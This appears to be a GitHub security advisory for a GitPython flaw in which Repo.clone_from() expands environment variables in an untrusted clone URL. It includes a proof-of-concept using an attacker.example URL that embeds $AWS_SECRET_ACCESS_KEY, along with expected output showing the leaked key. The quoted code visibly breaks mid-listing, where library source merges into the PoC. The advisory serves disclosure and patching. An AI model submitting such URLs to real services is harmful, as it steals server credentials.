GitHub Advisoryadvisory · PyPI
GHSA-rwj8-pgh3-r573 GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
HIGH
Official page ↗
- Aliases
- CVE-2026-67322
- Ecosystem
- PyPI
- Packages
- GitPython
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-201
- Reviewed
- 2026-07-21
Affected packages
• PyPI GitPython: < 3.1.52 → fixed in 3.1.52
Description
Summary
`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.
Details
Affected versions: `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.
`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:
`git/cmd.py` (v3.1.50), lines 907–925:
```python
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # secret SUBSTITUTED into URL by polish_url()")
--- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen
class CapturingPopen(orig_popen):
def __init__(self, cmd, *a, **kw):
if isinstance(cmd, (list, tuple)) and "clone" in cmd:
captured["cmd"] = list(cmd)
super().__init__(cmd, *a, **kw)
subprocess.Popen = CapturingPopen
import git.cmd as gitcmd # noqa: E402
gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen
dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
# The clone fails (attacker.example does not resolve); we only need argv.
print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")
subprocess.Popen = orig_popen
print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
print(f" {tok}")
cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")
secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
print(
"\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
"into the remote clone URL; git would transmit it to attacker.example."
)
sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)
```
Expected output:
```
gitpython version: 3.1.50
[Layer 1] polish_url result:
input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
-> secret SUBSTITUTED into URL by polish_url()
[Layer 2] clone_from raised (expected): GitCommandError
[Layer 2] argv passed to `git clone` subprocess:
git
clone
-v
--
https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
/tmp/gp_poc_XXXXXXXX/out
[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
VULNERABLE: server env var AWS_SECRET_ACCE…
Related
Alias · CVE (1)
- CVE-2026-67322 GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). vulnerability
References
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-67322 advisory
- https://github.com/gitpython-developers/GitPython/pull/2172 web
- https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2 web
- https://github.com/advisories/GHSA-rwj8-pgh3-r573 advisory
- https://github.com/gitpython-developers/GitPython package
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52 web
- https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml web
- https://pypi.org/project/gitpython web
- https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from web